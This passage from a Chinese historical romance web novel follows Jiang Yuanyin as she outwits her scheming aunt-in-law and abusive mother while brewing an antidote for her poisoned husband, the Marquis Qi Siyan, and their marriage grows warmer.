“再者,此事归根到底是二叔母的家事,扯不到侯府同国公府的关系上,二叔母不愿与自己的女婿有嫌隙,当自行解决,哪有让阿音担责道歉的理?”
陆氏噎住,说不出半句反驳的话来。
她真是小瞧了**这个妖精!
竟能将齐司延迷惑至此!
齐司延徐声道:“不过经此一事,反倒让我想问问二叔母,这些年是如何打理侯府内务的,凭着我父母当年的封赏与圣上每年赐我的生辰礼,侯府如今怎会连一场像样的归宁宴都办不了?”
他沉了脸,气场迫人:“二叔母,侯府的钱去哪了?”
第58章 有了夫妻之实
“还能去哪!”陆氏一心虚,声音便尖锐起来,“自然是花在侯府上下几十上百人的吃穿用度上,你平日里用的药膳、药浴全是珍稀药材,费用不菲!”
她如遭重创,一手搭在轮椅上,倒打一耙道:“我为侯府操劳了十多年,没有功劳也有苦劳,倒头来却换来你的质问,真真叫人失望心寒!”
齐司延不动如山,淡声道:“如此,日后便不麻烦二叔母了。”
闻言,陆氏心里一咯噔,说话都不利索了:“你、你这话是何意……?”
“从前我没了母亲,又未婚配,侯府没有女主人,是以才劳烦二叔母,”齐司延道:“念在二叔母在我幼时照顾我,为侯府操劳多年,我可以不追究侯府的钱去哪了,可如今我既已成婚,阿音是这侯府的女主人,府中内务当由她操持才是。”
陆氏万万没想到事情会是这般走向,身子晃了晃,俯倚在轮椅上便开始哀嚎哭诉起来:“这**是给你下蛊了不成?她一个商贾之女,如何懂得操持侯府内务?这成婚不到三个月,你就这般护着她,真是有了媳妇忘了娘,伤透我的心……”
齐司延面色上没有半分动摇,反而透着冷意,“此言差矣,我母亲离世,十三载有余,二叔母非我生母,自没有‘有了媳妇忘了娘’一说。”
陆氏脸上煞白,见齐司延油盐不进,只好改从江元音那下手。
她怒视江元音,恶声恶气地问:“你想从我手中接过侯府中馈之责?”
她眼里充斥着威胁,大有江元音敢承认便要收拾她的意味。
江元音没露出半点仗势的得意,还是那副唯唯诺诺的温吞样子,在齐司延耳畔弱声道:“二叔母说得对,我的确不懂得操持侯府内务。”
陆氏眉目舒展。
哼,算她还有点眼力见。
“但我一定努力学,”江元音道:“还请侯爷给我四个月的时间,待侯爷生辰之日,妾身再接过中馈之责,可好?”
侯府现在只是个空壳子,她才不接手呢。
四个月后,齐司延生辰,圣上会赏赐黄金银两,届时她再接手,陆氏讨不着一点好。
齐司延会意,配合得点头,冲陆氏道:“这四个月,还望二叔母用心教阿音。”
微顿后叮嘱补充道:“二叔母日后莫再动辄责罚阿音,免得传出去,叫人误会您狐假虎威,苛责侄媳。”
语罢招手:“曲休,送二叔母出院。”
于是陆氏再无说话的机会,被曲休“请”出了青松院。
江元音望着陆氏的背影,听着她无能叫嚷的声音,心情甚好。
齐司延对妻子的维护与实力,都远超她的认知。
真好,他不是什么任由陆氏鱼肉的傀儡。
江元音如打了场胜仗般地愉悦,含笑询问齐司延:“想来今天的菜都不合侯爷口味,我再命后厨做几道如何?”
齐司延摇头,突兀地问:“阿音可还觉得委屈?”
他就这么自然而然的换了对她的称呼,她还不太习惯。
“夫人”有种相敬如宾的距离感,“阿音”更亲密无间。
江元音回道:“侯爷这般信我护我,妾身怎会还觉委屈?”
“那阿音还要始乱终弃吗?”
雪燕和清秋一抖。
始乱终弃?!
夫人那夜果然对侯爷……
发现齐司延又绕回了老问题,江元音后知后觉地回过味来了。
他去云鹤观绝不是为了躲她。
相反,经过她那夜的“唐突”,他对她有了微妙了改变。
好似终于接受认可了她“妻子”的身份。
所以他会去祠堂接她,主动抱她,在陆氏面前护她,改唤她“阿音”,为她忘记那晚的事而不悦生气。
能让他有这么大的转变,他们真有了夫妻之实?
江元音理清了思绪,藏匿着心头的古怪,回道:“我与侯爷早就完婚,夫妻之间何来始乱终弃之说?”
他这问题本就站不住脚。
齐司延神色终于缓和。
江元音重新在他身侧落座,试探地问:“那我喂侯爷吃饭?”
“嗯。”
齐司延倒也好哄,说开后,便肯开口接
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受她喂食了。
饭后,江元音动身去给他熬药,离开了主屋。
后厨。
江元音亲自将早就分装好剂量的解**材放入药罐,在一旁盯着熬煮,陷入了深思。
如果那夜他们真的圆房了,那次日起来,她肿胀的为何只有嘴唇?
下身……并无任何不适。
不过在男女之事上,她活了两辈子,却并无经验。
前世李承烨百般折磨羞辱她,让她吃尽苦头,却独独未曾侵犯占有她,哪怕后来立她为后,也没有碰过她。
她至死都不明白,李承烨对她的恨意,到底从何而来。
就因为她左肩处的莲花刺青?
不过都不重要了,今生这些都是江云裳要思索的问题。
江元音倒也没有为是否圆房而纠结太久。
她自决定嫁给齐司延,便做好了准备,要不是他身子原因,这大概是新婚夜便会发生的事。
只是没料到会是她主动又毫无记忆的情况下发生。
圆房了亦有圆房的好处,要收拾陆氏来得更方便了。
房门紧闭的屋内,曲休“送”走陆氏后折返。
曲休问道:“侯爷这是不打算观望了?”
齐司延轻“嗯”。
他先前忙着寻觅解毒之法,和联络父亲生前的死忠部下,一直韬光养晦,又以为娶的仍是江云裳,想放任陆氏与江云裳狗咬狗,是以才没收拾陆氏。
曲休略显担忧的问:“若是夫人日后知晓,侯爷今日这般维护她为她出头,只是为了刺激陆氏,揪出指使她**的人,会不会生侯爷的气?”
“怎会?”齐司延掀了掀眼皮,难得认真且有耐心的解释道:“我借着这个由头对陆氏出手不假,可我为阿音出头,护她同样是真,这二者并不冲突。”
若今日换做是江云裳,便是被陆氏关个十天十夜,他只会不闻不问。
齐司延又道:“阿音这般喜欢我,本侯自不会辜负她。”
曲休反复抬眼低眼,有句话卡在了喉咙里。
……分明是侯爷这般喜欢夫人吧?
第59章 药苦,阿音甜
第一次熬煮解药,江元音是费了一番功夫的。
大火煮沸又小火慢煎,足足一个时辰,才将解药熬好。
端回主屋时,齐司延已洗漱完上了床榻了。
但和以往不同,他没有先行躺下,而是坐靠在床榻上,显然是在等她。
同仇敌忾对对了陆氏,挑明说清了醉酒夜的情况,也接受了两人圆房的事实,江元音觉得和他的距离拉近了些,很是自然地挨着他落座,双手捧着药递到他眼前,扬声道:“侯爷,喝药。”
齐司延明知故问:“什么药?”
他是信任她的,只是她身上还有待解开的谜团。
比如她为何会解他身上的毒,这个毒叫什么,是何人研制。
他等她主动说破告知。
江元音随口扯了个理由:“早生贵子的补药。”
她暂时还没陆氏**的证据,便是他无需证据也信她,她也得解释她如何知晓认识这毒,又怎么会解毒。
如实以告太麻烦。
齐司延眼底有失望一闪而过,为了让她说实话,故意道:“**?”
江元音:……?
他怎会有这样离谱的想法。
她眼角抽了抽,“……不是的,只是调理身体促孕的补药。”
“哦,”仍旧没得到自己想要答案的齐司延,继续发力,“生孩子是两个人的事,阿音怎地让我一人喝药?”
看她怎么解释这药是专门给他准备的。
江元音却在这话里品出些怀疑的意味来:“侯爷难不成是疑心我下毒害你?”
说完低头,喝了一小口。
许是她此刻五感尚在,不似上辈子那般没了味觉,这药入口,比她记忆中要苦涩难咽得多。
她巴掌大的小脸禁不住皱成了一团。
齐司延气她好似闷葫芦,就不肯跟他说实话,又从未见过她这副表情,只觉得生动新鲜,打趣道:“你这表情倒真似咽了**一般。”
江元音摇头,勉强咽下后眉眼还不自觉地皱着,回道:“是这药太苦了,”说完怕他因此不吃忙补了句,“不过良药苦口,越苦效果越好,侯爷……”
她尚未说完,尾音消失在他的唇边。
他准确无误地吻上来,在她愣怔间与她唇舌短暂纠缠,在她回神前又很快结束这个吻。
齐司延玩味勾唇,一语双关道:“不苦,很甜。”
江元音第一反应是垂首去看手中捧着的药,见其没洒,方松了口气。
见状,齐司延却是不爽的。
分离数日后的第一个吻,她脸上没有娇羞喜悦,全是对药的在乎。
……他没有药重要吗?
他没好气道:“阿音对这补药可真是着紧上心。”
“不说前期的准备,光是今晚我便足足盯着熬了一个时辰,要是洒了多可惜?”江元音嗔了他一眼,“要不是为了侯爷的身体,我何需这般着紧上心?”
她费了那么大劲才换来集齐的药材!
要是洒了,她真的会恼火。
齐司延眉目舒展,她这番解释,他很受用。
可她的耐心被他这莫名其妙的吻消磨,直接将药碗递到他唇边,难得的敛了恭顺温婉,绷着脸道:“既然不苦,侯爷便一口喝了吧。”
齐司延满意的看她流露出平常不曾有的情绪,像是在他面前卸下了假面,变得真实生动。
他就着她的手,将药一饮而尽。
接着大手一伸,揽过她的腰,将她搂入怀抱,再次覆上她的唇。
和刚刚的浅尝即止不同,这个吻缱绻绵长,透着克制隐忍的渴望。
他早就想吻她了。
从前他孤身一人,从未和谁亲密过,不牵挂谁,亦不需要被谁牵挂。
可在云鹤观的这几日,他好像明白了,什么叫做“牵肠挂肚”。
原来体会过两人相拥入眠的温暖,一个人的夜会变得空落落的,令他辗转难眠。
江元音手里拿着药碗,腾不出手去推开他。
不用再去忧心解药洒了,她的注意力终于落在了这个吻上。
虽说生辰醉酒那夜他们什么都做了,但她没了记忆,这样的亲密于她而言,是头一遭。
她整个人陷入他结实炙热的怀抱,被他的气息笼罩,身体像被融化一般的无力,只能贴靠着他,任他予取予求。
两人呼吸交融,她依稀还能感受到他唇舌间残留的药味。
骗人,分明还是很苦。
他该是被毒害的味觉也减弱了不少。
不知过去了多久,江元音快要喘不过气,只
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得拿药碗抵住他的胸膛,无声**。
齐司延终于松开了她。
江元音急促地喘息换气,一双眼雾蒙蒙地哀怨看他。
齐司延直直地望着她,从她被亲得湿漉漉的眼,到泛红的唇,他墨色的眸里全是餍足。
身为妻子,江元音自知没理置喙他的亲近,只能故意挑刺地暗示道:“侯爷骗人,这药分明苦得很。”
下一回能不能不要再喝完药就吻她?!
齐司延浅笑,哑声道:“药苦,阿音甜。”
江元音呼吸一滞,忽然非常懊恼可惜自己那夜什么都不记得了。
那夜她除了主动投怀送抱,强行要跟他圆房外,到底是给他说了什么甜言蜜语?
陆氏说得没错,他的确像是中了她的“蛊”,简直是性情大变!
江元音起了身鸡皮疙瘩,受不住的从他怀里溜走,去拿铜盆给他漱口,又一溜烟地自行洗漱去了。
齐司延只当她害羞,眼底的笑意渐深。
当晚,江元音一上床榻便装睡。
齐司延静待一阵,只等到她均匀的呼吸,低叹一声搂过她。
然而静怡轩,陆氏却是一夜无眠。
唉声叹气一整夜,次日清晨,卧床不起。
丫鬟进房来报:“叔祖母,夫人来给您请安了。”
陆氏胸膛起伏,怒拍了下床褥,道:“不见,就让她在外间候着!”
她在侯府费心费力谋划十多年,眼看着就要吞下侯府,半路杀出个**!
见她作甚?
将侯府交予她么?
想都别想!
邓嬷出声劝道:“要不就说您抱恙,让她回吧,若让她白白候着吃闭门羹,传到侯爷耳里……”
“难不成我在侯府还得看她脸色不成?!”
“夫人恕罪,老奴绝没有那个意思,”邓嬷急声安抚,眼珠子一转便有了主意,低声替其分忧道:“侯爷被**狐媚住了,听不进您的话,但其他人肯定对您唯命是从。”
“其他人?什么人?”
“**的家人,”邓嬷献策道:“**的家人已搬迁至汴京,夫人不妨见一见?”
陆氏会意,“派人去送信。”
末了叮嘱道:“先领我面前来,动静小些,别让**知晓。”
第60章 开屏的公孔雀
江元音空等了半个时辰,只等来了陆氏身体抱恙,要闭门静养的口信。
她场面地关心道:“郎中来瞧过了吗?可需我侍疾?”
“夫人说笑了,”邓嬷阴阳怪气地笑,“您如今是侯爷的心头宠,谁敢劳烦您侍疾呢?”
“嬷嬷折煞我了。”
“诶,老奴可不敢,昨儿个侯爷为夫**发雷霆将含辛茹苦养育他的叔祖母气倒在床,可是全府皆知的事,”邓嬷讽刺道:“老奴盼夫人能长久的得侯爷恩宠,好日子过得久些,别一朝摔下来,跌个粉身碎骨,那个就惨了。”
江元音眨了眨眼,故意曲解她话里的意思,一副天真困惑的模样:“我为何不能长久得侯爷恩宠?嬷嬷的意思是侯爷身子不好,怕侯爷命不久矣吗?”
“老奴可没那个意思!”邓嬷霎时急红了脸,“侯爷自会长命百岁!”
便是齐司延看着就活不久,也容不得她一个下人置喙。
**给她扣一顶“诅咒主子”的帽子,传出去,她怕是没命活!
江元音认可颔首,“原是我误会嬷嬷了,”她笑了笑,“嬷嬷不必忧心我,侯爷长命百岁,我自能得一生恩宠,过一世好日子。”
邓嬷两眼一黑,简直要气昏过去。
这**气人当真有一套!
她深呼吸缓和,继续传陆氏口信道:“叔祖母病了,短期内恐怕无法教夫人如何打理侯府内务了,夫人近期也无需来静怡轩请安,好生留在青松院,陪伴侯爷左右吧。”
江元音温顺应声,“二叔母身子最是要紧,我近期便不来叨扰了,且先自行摸索了解如何打理侯府,待二叔母痊愈后再来请教。”
不管陆氏是真病假病,其目的都是不将侯府内务大权交予她。
那便由其“病”着,在齐司延生辰之前,她亦不打算接手。
离开了静怡轩,江元音并没有回青松院,而是逛起了侯府。
嫁入侯府三个月了,她一直安分守己地待在青松院,除了前几日为了归宁宴有去后院水榭楼台布景,侯府其他地方,她基本没有涉足。
现在有了名正言顺的理由,她倒是想熟悉了解一番。
一直逛到午时,方才回院去陪齐司延用午餐。
齐司延享受着江元音的投喂,心情不错,甚是配合。
饭后江元音凑近询问:“侯爷今日身子可有好些?”
她也知他身上的毒非一剂药能解,但也期盼看到哪怕一丝微弱的好转。
至少肯定她的方子没有错。
齐司延反问:“你是想问昨夜的药有没有效果?”
“是的。”
“你昨夜沾床便睡,自然看不出药有没有见效,”齐司延挑眉,道:“不是说了,生孩子是两个人的事吗?”
江元音无语顿住。
……他在故意逗她。
一个原本矜贵淡漠的男人,怎么会在圆房后变得如此……外放?
俨然一只开屏的公孔雀。
想让她羞涩脸红?
她偏不。
江元音被激起了反骨,贴近他的耳朵,轻吹了两口气,故作甜腻娇声道:“妾身今晚一定撑住,好生配合侯爷。”
齐司延一阵酥麻,眸色深了几许。
他原本只是想逼她把解药的事坦诚,却又被她撩拨了一把。
不给他反应的机会,她迅速起拉开和他的距离,大声留下一句“我得去备今日的药了”后,快步离开。
快要把地板盯穿的雪燕、清秋如释重负,急匆匆地跟上。
二人都是未经人事的小姑娘,早被夫妇俩的虎狼之词惹得满脸通红。
屋内,齐司延望着江元音离开的背影,无奈低笑。
……今晚?
……他等着。
一旁的曲休亦盯着齐司延看了许久。
咳——
分明已经入了夏,他却在侯爷脸
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上看到了……春色。
江元音真是去为齐司延熬药去了。
一直忙碌到申时,听到丫鬟来报,说是秦氏来了。
避免陆氏生疑,她偶尔会打着和齐维航熟悉的幌子去一趟秦氏院里,两人私下甚少往来。
这还是秦氏第一次来青松院。
知道秦氏不会无故登门,江元音的心微沉,嘱咐清秋看好快要收火的药,自己和雪燕动身去见秦氏。
秦氏只带了个贴身丫鬟,低调前来。
江元音一迈入屋子,瞅见秦氏焦虑地迎上来,温声询问:“发生何事了?”
“我听闻母亲今日病了,便去探望,谁知恰巧撞上母亲在会客,”秦氏凑近些,谨慎地瞟了几眼门口,压低声音道:“不好了弟妹,母亲将你家人接到侯府了!”
江元音了然。
想来这是陆氏新想出来对付她的招。
陆氏左一句“小门小户”,右一句“低贱商贾”,竟会愿意把江家人接进侯府来。
“我旁听了几句,你家人说你素来最是听从家人的话……”秦氏拉过江元音的手,不安确定道:“弟妹,若你母亲劝你认了维航这个儿子,你不会真的就改变主意吧?”
眼瞅快要三个月,江元音至今也没告诉她到底有何应对陆氏的计划,现在江家人进了侯府,她心里没底,慌得很。
江元音抬手安抚地拍了拍秦氏的手背,目光坚定道:“堂嫂放心,我应承过的事,一定会竭力做到,我娘家人来了亦不会改变。”
她又道:“谢谢堂嫂提前来知会我,我好能有所准备。”
秦氏仍有些迟疑,“你打算怎么做?你真能不听你父母的吗?”
她在屋外听着,江家父母的语气非常自信笃定同陆氏表态,说江元音一定会听他们的。
江元音浅笑:“可能需要堂嫂帮个小忙。”
秦氏答应得果断:“你直说便是。”
第61章 今晚不和他睡?不可以
两人聊妥后,秦氏便离开了,江元音回到后厨看解药熬煮的情况。
刚刚将药倒入药碗,守院门的丫鬟又匆匆来报了。
“夫人,老夫人来了,让我来传信,让您马上去见她!”
这丫鬟是从江家陪嫁过来的,认得陈蓉。
江元音轻笑。
倒是来得挺快,还在这摆起了谱,当这还是江南江宅?
她不疾不徐地拿帕子擦拭干净了手,看向倒好的药,吩咐清秋:“给侯爷送过去,记得盯着他喝完。”
“是,夫人。”
雪燕看着清秋将药碗端到木盘上,忍不住对江元音道:“夫人,要不要清秋顺路通知侯爷,老夫人来了?”
她对老夫人的印象还停留在“凌厉、动辄罚骂夫人”上,难免担心夫人过去要吃亏。
侯爷对夫人的维护有目共睹,有侯爷在,夫人定不会受欺负。
清秋闻言望向江元音,等候她的吩咐。
江元音摇头,只是又补了句:“转告侯爷,不必等我用晚餐。”
清秋应声,端着汤药朝齐司延的起居室而去。
江元音淡然自若地离开后厨。
雪燕跟在身侧,不死心地劝道:“夫人为何不知会侯爷?有侯爷在,老夫人定不敢轻易欺负夫人,之前收拾王嬷、归宁宴时,夫人也求助侯爷了啊……”
“那是因为她们都是侯府的人,”江元音不以为然,“现在要处理的是江家的事。”
她今日要好好和陈蓉算账,有齐司延在,只会影响她发挥。
江元音刚到后院,便瞅见了陈蓉。
陈蓉闲步逛着,似在自家庭院般的悠然自得。
江元音迎上去,扬眉,惊喜道:“阿母今日过来为何不提前知会一声?我好做些准备,迎接阿母。”
“要等你做好准备,我不知猴年马月才能进这侯府瞧一瞧,”陈蓉要笑不笑,“是你二叔母特意请我们登门的。”
“你们?”江元音更惊喜了,“可是阿父和正耀都来了?”
她忙左顾右盼了下,“阿父和正耀呢?”
陈蓉下巴抬了抬,“同你二叔父出门了。”
江元音敏锐地察觉到陈蓉面色上的喜悦,大致能推测出现下是个什么情况。
她把江家安排在西街的“烂”宅子,借江兴德的手轰走陈招娣后,就再没管过他们。
江兴德一直想融入汴京的世家权贵圈子,苦于没个领路人。
现在,怕是跟着齐文台交际去了。
想来这便是陆氏许给江家人的好处。
江元音表示了然地点点头,热切地询问:“阿母能待多久?快到晚饭的点,我命人去备餐食,我们入屋坐着聊?”
“嗯,”陈蓉眼睫轻扫,“我正也有话,要同你聊。”
江元音领着陈蓉去了饭厅。
雪燕为二人斟茶。
陈蓉开了口,突兀地问道:“听闻你近日来甚得侯爷欢心,颇受宠爱?”
江元音低眼,似有些羞怯:“侯爷与我同房后,待我的确不似先前那般冷淡,我原本是想着,等肚子有了消息,再去向阿父阿母道喜的。”
陈蓉听着,却并不开心,而是语重心长道:“你是我女儿,我自然会为你考虑,希望你过得好,所以我得提醒你,你要想过好这一生,目光要长远,眼睛要擦亮,要寻个能长久倚靠的主,而不是图一时的疼宠,明白吗?”
江元音心里冷笑,面上却摇头困惑问道:“元音愚昧,阿母可否说得更直白清楚些?”
陈蓉喝了口茶,“侯爷侯府的情况,我已全部知晓。”
说这话时,她眉眼里有非常微妙的开心。
江元音替江云裳嫁入侯府,成了侯夫人,她心里是极为愤恨不平的。
这泼天的富贵凭甚给个捡来的女儿?
如今知道她嫁的是个废人,心里反而平衡了。
陈蓉接着道:“侯爷耳目不聪、四肢不便……”
刚开了口,门口有车轮动静传来。
雪燕望了眼,禁不住扬声道:“夫人,侯爷来了!”
有侯爷坐镇,不信老夫人还敢找夫人麻烦!
陈蓉刚背人说了两句,正主便到了,难免心虚发怵,后背冒汗地望向门口,瞟见轮椅后,又安了心。
果然是个废人。
江元音没想到齐司延会来凑这个热闹,起身相迎,走至他身边,俯身凑近,扬声问道:“侯爷怎么来了?”<
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br>齐司延淡声回道:“岳母登门,我岂有不见之理?”
他转了转头,双眼涣散的环视屋内,“岳母可在屋内?”
“在呢,”江元音示意曲休将齐司延往陈蓉面前推,暗示道:“阿母刚从二叔母那过来,二叔母已将侯爷的情况告知阿母,侯爷不出面,阿母定也不会怪侯爷的。”
她三言两语把情况向齐司延说清。
陈蓉起身,“老身见过侯爷。”
齐司延没有任何反应。
江元音提醒道:“阿母,侯爷耳力欠佳,需得凑到他耳畔大声说话,他才能听见。”
陈蓉只得扬声重复。
齐司延侧耳,“依稀听到了个陌生的声音,可是岳母在说话?”
江元音在他耳边转述道:“是阿母同侯爷问好。”
齐司延道:“岳母既见过二叔母了,想必也知晓我耳聋目瞎,同人交谈费劲,岳母无需在意我,好好同阿音聊天,权当我不在即可。”
这时下人送了晚餐过来,三人落了座。
主位让给了齐司延,江元音坐在他右手边,而她的右手边坐着陈蓉。
江元音一如既往地给齐司延喂食,名正言顺地将陈蓉晾在一旁。
直到齐司延吃好了,江元音才看向陈蓉,想起什么似的,明知故问道:“阿母先前要提醒我的是什么?”
那些话,她敢当着齐司延的面说吗?
陈蓉看着双目无神,连吃饭都不能自理的齐司延,眼底有嫌弃和轻视。
她知道自己此刻同江元音议论他,他也听不见,可他身后杵着的那个随从耳聪目明,显然不方便继续说教江元音。
于是,她端着架子回道:“食不言,你成婚不过数月,便把我从前教导你的规矩都忘了?先吃饭,今晚你同我睡,我再慢慢同你说道说道。”
江元音了然。
这是陆氏在想方设法阻止她和齐司延同房?
她毫不在意,温顺颔首:“是,阿母。”
待摸清楚陈蓉和陆氏达成了什么共识,预备了些什么手段,她方好应对。
一旁齐司延脸一沉,薄唇抿成直线。
……阿音今晚不和他睡?
……不可以。
第62章 随我回房睡觉
等江元音也吃得差不多了,沉默许久的齐司延冲江元音道:“我知你和岳母多日未见,难舍难分,但要注意时辰,别误了宵禁。”
才吃了饭便听到齐司延赶人,陈蓉面色不愉,没给江元音好脸色:“你转述侯爷,你二叔母留我与你父亲、正耀在侯府小住。”
江元音听话凑近齐司延转述。
齐司延点点头,体贴道:“那我们今晚早些休息,你白日里好好陪他们。”
他意有所指地提醒:“阿音可别忘了白日里同我说了什么。”
江元音:……
什么白日里的话?
他把她的故意作妖当了真?
只是这时江元音的心思都在应对陈蓉上,懒得去揣测齐司延,在他耳畔道:“难得二叔母愿意留阿母小住,阿母有体己话要同我说,我今晚与阿母睡客房,侯爷早些休息。”
“哦?”齐司延沉声:“你要同岳母睡,那岳父怎么办?”
陈蓉蹙眉出声:“自然是和正耀一起睡。”
在别人府上做客,夫妇不同房是礼节。
他一个侯爷,连这点礼节都不懂?
江元音转述:“阿父同我弟弟一处。”
不住暗示却连番被拒的齐司延,面无表情的“哦”了一声,不再说话了。
饭后,江兴德和江正耀不知道是没回府,还是在齐文台那边,并没有来青松院。
江元音便领着陈蓉去挑厢房。
待换好了干净床褥,两人坐在外间的软榻上,绕回了先前被齐司延的出现而打断的话题。
陈蓉:“分明你出阁前我重金请了礼仪嬷嬷教你规矩,你怎地到了侯府却忘了个一干二净?先侯夫妇早逝,侯爷是其二叔父、二叔母一手带大,你当将他们当做公婆来孝敬,怎能仗着侯爷现下宠你,就目中无人,惹恼他们呢?”
“元音没有,”江元音一脸无辜,“无论是在江家,还是在侯府,我一直谨小慎微的过日,时刻铭记着的阿母的教导,对二叔母更是恭敬有加,不敢有违逆,何曾目中无人过?”
“你无需狡辩,你近日来的所作所为,你二叔母皆告知我了,你有没有错,我心中有数。”
“可我……”江元音止住,弱声问:“所以阿母是特意登门来训斥我的吗?”
“你犯了错,我当母亲的难辞其咎,有责纠正你,”陈蓉一顿,稍缓语气,又道:“你自小性子虽木讷了些,但胜在听话,接下来你只要按我说的去做,我也不与你说重话罚你。”
江元音安静望着陈蓉这副“开恩”的模样,恭候下文。
“明日清晨,我领着你去跟你二叔母道歉,好生筹划去国公府赔罪一事,日后你需事事听你二叔母的,切不可再任性妄为,早日将齐维航过继,接到膝下抚养。”
江元音克制住发笑的冲动,“可是阿母,侯爷说归宁宴的事我没有错,二叔母要不要去跟国公府道歉更与我无关,我和侯爷还年轻,会有自己的孩子。”
“蠢货!”陈蓉骂道:“我让你听你二叔母的话!你听不懂?”
“不懂,从前你和阿父千叮咛万嘱咐,让我一定要侍候好侯爷,讨得侯爷欢心,现在却又登门让我对二叔母唯命是从,好生矛盾。”
“我这还不是为了你好?”陈蓉愈发激动,“定宁侯那个病秧子还能活多久?他护得你一时,护不了你一世,你现在与你二叔母作对,等他一死有你好受的!他是年轻,可是命不久矣,一个瘸子,你和他还能生出孩子来?”
陈蓉:“定宁侯无实职,对外公务都落在你二叔父手里,你二叔父才能帮上你父亲、耀儿,你若还想我认你这个女儿,必须按我说的去做!”
江元音抬眼,眸光冰冷。
可笑,陈蓉竟还以为这种话可以威胁拿捏得了她。
她懒得再同其虚与委蛇,冷声道:“我按不按你说的去做,你都不会认我这个
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女儿,在你心目中,从始至终都只有江云裳一个女儿,至于侯爷……还轮不到你来妄言。”
“江元音,你这是跟母亲说话的态度吗?!”陈蓉恼羞成怒地拍桌,“李嬷,将我带过来的家法藤鞭拿来!”
江元音脸上没有半分惧色。
“逆来顺受的乖女儿”她也演腻了,她已经嫁了人,也从江家拿到了她想要的。
是时候断亲了。
陈蓉起身从李嬷手里接过藤鞭,怒道:“跪下!敬酒不吃吃罚酒,今日我非鞭笞到你认错为止!”
江元音冷眼看着陈蓉气急败坏的扬鞭,已做好夺鞭反手制她的准备。
然而下一瞬,剑拔**张的两人,却被门口突然响起的一声大喊,吓了一跳。
曲休扯着嗓子,近乎嚎叫:“侯爷,江夫人要拿藤鞭,鞭笞夫人!”
江元音无力叹了口气。
齐司延怎么偏偏这个时候来了?
那她还如何教训陈蓉?
曲休推着齐司延进来。
陈蓉面红耳赤,没有收起鞭子,强作镇定道:“小女近来屡屡犯错,不服管教,我才请家规训之,免她日后酿成大祸。”
曲休大声复述。
齐司延沉脸,道:“这里是侯府,阿音是我的妻子,是我齐家的人,江夫人要请家规训人,当回你的江家才是。”
从“岳母”到“江夫人”,他对其态度改变可见一斑。
陈蓉自认有陆氏撑腰,又打从心底里觉得齐司延只是个没有实权的废物侯爷,根本无需惧怕,情绪上头,她边挥鞭边道:“她是我女儿,我想……啊——!”
曲休快如光影,倏地扼住了陈蓉的手,朝后一拧。
陈蓉惨叫,右手脱了臼,疼得脸色煞白,“我的手!我的手……啊——!”
在陈蓉的惨叫声里,齐司延朝江元音伸出手,他勾唇浅笑,清冷的嗓音咬字温柔:“时候不早,阿音,随我回房睡觉。”
第63章 疼吗?哪里疼?
江元音撕下“温顺”假面,和陈蓉算旧账断亲的计划就这样被齐司延的出现而打破。
好在结果殊途同归,陈蓉没能好过。
她伸手握住齐司延的手,随后侧头看着扶着自己脱臼的手,惨叫不止的陈蓉,将那些没能说出口的攻击的言语,化成一个无声的,胜利者的笑容。
是她从未在陈蓉面前展露过的,轻蔑与挑衅。
齐司延将她此刻充满攻击性的侧脸收入眼底,反手牢牢牵住她。
他在门外听了很久,几乎听全了她们的对话。
所以他不会觉得她虚伪、表里不一,只觉得心疼。
兔子被欺负得急眼了,才会想要咬人。
他宁可她更凶狠些。
当晚,两人同床共枕。
一室静谧黑暗,两人却都很清醒,无心睡眠。
江元音满脑子都在琢磨推测,今晚这一出后,江兴德、陆氏等人的反应,她分析出了好几种可能,又一一思索着每一种可能她该如何应对。
她想得入神,直到平躺的齐司延蓦地开口问道:“疼吗?”
“唔?”江元音惯性侧身凑近他耳朵,不解回道:“哪里疼?”
“鞭笞的伤口。”
江元音讶然。
她自己都没当一回事,没想到他这会还在挂心陈蓉要拿藤鞭抽她的事。
复而意识到自己一直在思考问题,还未跟他道谢,于是顺势感激地回道:“侯爷来得及时,妾身未曾受伤。”
“不是,”齐司延顿了顿,“……是从前。”
“从前?”
“江夫人没少请家规罚你吧,”他声音很轻,“都是因为什么?”
新婚夜得知娶的是她,他命曲休去调查了解了江家的情况,知道她在江家的处境不好,有了今晚这一遭,他觉得她幼时过得比他想的还要艰辛。
她一直在被家人欺凌吧。
难怪她总是一副低眉顺眼,不与任何人冲突的模样,活得谨小慎微。
江元音眨眼,卷翘的睫毛轻扫他的耳朵,没甚情绪地回:“忘了。”
她并不想沉溺在过去受到的伤害里,不停和人提起,反复咀嚼伤口。
一阵沉默,齐司延没有追问,被褥下,他牵住了她的手,“日后,任何江家人拿家规压你,不要受着,告诉他们,你现在是齐家的人。”
今日齐司延不出现,江元音也不打算受着,只是听他这样一说,她顺势问道:“那齐家的家规呢?”
以后陆氏若拿家规压她,她可有名正言顺拒绝的说辞?
齐司延又是一阵沉默。
江元音只当他在权衡利弊,侯府的情况比江家复杂得多。
他有难处,她是理解的。
无妨,她自己也能想法子应对。
然而齐司延清了清嗓子,道:“待我定好了,再说与你听。”
“嗯……嗯?”江元音反应过来他这句话的意思,狐疑问道:“侯府有家规的吧,先前归宁宴,二叔母便说要请家规罚我。”
齐司延不悦纠正她:“你需遵守的家规自是你我二人的家。”
陆氏不是他们的家人。
他更不会让她被别人的“规矩”欺负。
江元音听着,颇有些无语,耐人寻味地感慨道:“侯爷待我可真‘好’啊。”
他自不会设规矩来约束自身,他口中的家规,岂不是针对她一个人立的?
齐司延口吻认真:“你是我的妻子,又真心实意待我,我自会待你好。”
他庆幸自己“耳聋目瞎”,才能发现她对他那些不肯坦诚的付出。
这句话,难得令江元音共鸣动容。
前世她一直在渴求被爱被认可,才会无底线地去付出,得到的只有伤害和失望。
这辈子她不会再把决定权放在别人身上,日日患得患失。
齐司延对她好,她便尽她所能的去回馈。
齐司延对她不好,她便抽身而退。
江元音窝在他颈窝处点点头,难得的没说场面的漂亮话,直抒胸臆:“侯爷如何待我,我便如何待侯爷。”
真心换真心。
可这回答于齐司延而言,太过不痛不痒。
她好似事事顺着他,没有半点脾气,却从不提半点有关她自己的事。
她的过去、想法、付出,他
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明问暗套,她都不说。
这让他觉得她明明近在身侧,却又与他隔着看不见的距离。
他讨厌这种感觉,绷着脸,长臂一伸将她揽入怀抱。
前边半晌没动静,江元音已有些昏沉的睡意,突然落入他的怀抱,不禁含糊地低唤道:“侯爷?”
齐司延听出声音里的困倦,聚着的那团火,瞬间散了。
他终究不忍再折腾她,安静搂住她,不再出声。
……的确该好好立个“家规”。
可另一边,陈蓉今晚可不好过。
她右手脱了臼,疼得抓心挠肺,紧接着便被轰出了青松院。
刚巧江兴德和江正耀回了侯府,下人领着他们往青松院过来。
